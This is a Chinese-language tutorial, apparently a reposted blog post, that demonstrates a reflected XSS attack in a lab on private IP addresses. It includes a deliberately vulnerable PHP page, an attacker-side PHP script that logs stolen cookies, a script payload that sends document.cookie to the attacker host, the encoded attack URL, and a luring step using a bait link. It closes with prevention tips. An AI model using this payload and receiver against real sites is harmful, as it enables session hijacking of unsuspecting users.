XSS跨站脚本攻击过程最简单演示

  • Post author:
  • Post category:其他


大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。



1 角色分配

  • 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言
  • 受害访问者,IP地址172.16.35.220,浏览器为IE11
  • 黑客的数据接收网站,IP地址172.16.2.192,PHP为开发语言



2 源码实例



2.1 漏洞网站

存在漏洞的URL为:http://172.16.35.135/xss_demo.

PHP



  1. <?php


  2. session_start();

  3. ?>

  4. <!doctype html>

  5. <html>

  6. <head>

  7. <title>XSS demo</title>

  8. </head>

  9. <body>

  10. <form>

  11. <input style=

    “width:300px;”


    type=


    “text”


    name=


    “address1”


    value=


    “<?php echo $_GET[”


    address1


    “]; ?>”


    />


  12. <input type=

    “submit”


    value=


    “Submit”


    />


  13. </form>

  14. </body>

  15. </html>


该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在。



2.2 黑客接收网站

接收网站的URL为

http://172.16.2.192/xss_hacker.php



  1. <?php



  2. $victim


    =


    ‘XXS得到的 cookie:’


    .


    $_SERVER


    [


    ‘REMOTE_ADDR’


    ].


    ‘:’


    .


    $_GET


    [


    ‘cookie’


    ];



  3. file_put_contents


    (


    ‘xss_victim.txt’


    ,


    $victim


    );


把受害用户的IP地址和访问漏洞网站时使用的cookie,一起写入xss_victim.txt文件保存备用。



2.3 用户正常访问

用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息,网站通过验证cookie来确实是否是合法已登录用户,所以cookie是用户的敏感数据.



3 攻击过程



3.1 黑客准备攻击字符串,构造攻击URL

黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL,然后精心构造攻击字符串。对于本例来说构造出来的字符串为:






  1. />




    <


    script


    >


    window.open(“http://172.16.2.192/xss_hacker.php?


    cookie


    =”+document.cookie);


    </


    script


    >


    <!–

只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交,就会造成攻击。手工输入这个字符串,并提交,浏览器地址栏自动生成攻击URL。如下图:

此时,用户访问漏洞网站的html代码,被修改成了:



  1. <!doctype html


    >





  2. <


    html


    >





  3. <


    head


    >





  4. <


    title


    >


    XSS demo


    </


    title


    >





  5. </


    head


    >





  6. <


    body


    >





  7. <


    form


    >





  8. <


    input




    style


    =


    “width:500px;”




    type


    =


    “text”




    name


    =


    “address1”




    value


    =


    “”


    />




    <


    script


    >


    window.open(“http://172.16.2.192/xss_hacker.php?


    cookie


    =


    “+document.cookie);</script><!–”




    />





  9. <


    input




    type


    =


    “submit”




    value


    =


    “Submit”




    />





  10. </


    form


    >





  11. </


    body


    >





  12. </


    html


    >




明显看出,这个html回去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。

最终生成的攻击URL为:



  1. http://172.16.35.135/xss_demo.php?


    address1


    =%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21–

接下来要做的就是,寻找受害人,诱惑其点击上述URL。



3.2 用户上当误点击攻击URL

黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL,如做成如下诱人连接。

屌丝们最喜欢美女了,在好奇心的驱动下,点击了这个美女图片。而点击的后果正是访问前面的攻击URL。



3.3 用户敏感数据被发送到黑客接收网站

受害用户访问攻击URL后,其敏感数据自动发送到黑客的接收网站。接收网站把这些敏感信息保存到文件中,当然现实的情况一定是存入

数据库

中了。

xss_victim.txt中现在保存了受害者的敏感数据。



  1. XXS得到的


    cookie:172.16.35.220:PHPSESSID


    =


    4duu55hgci1leee4os6101cl30



注意,默认IE11开启了XSS筛选器,此时IE会阻止上述简单攻击脚本。为模拟攻击,我们临时把XSS筛选器禁用。



3.4 黑客利用敏感数据做坏事

有了受害用户的敏感数据,就可以利用这些数据做各种坏事了,比如以受害用户身份登录漏洞网站,等等。



4 XSS的预防

XSS的预防可以从多方面着手:

(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;

(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;

(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。

转自:http://blog.csdn.net/smstong/article/details/43561607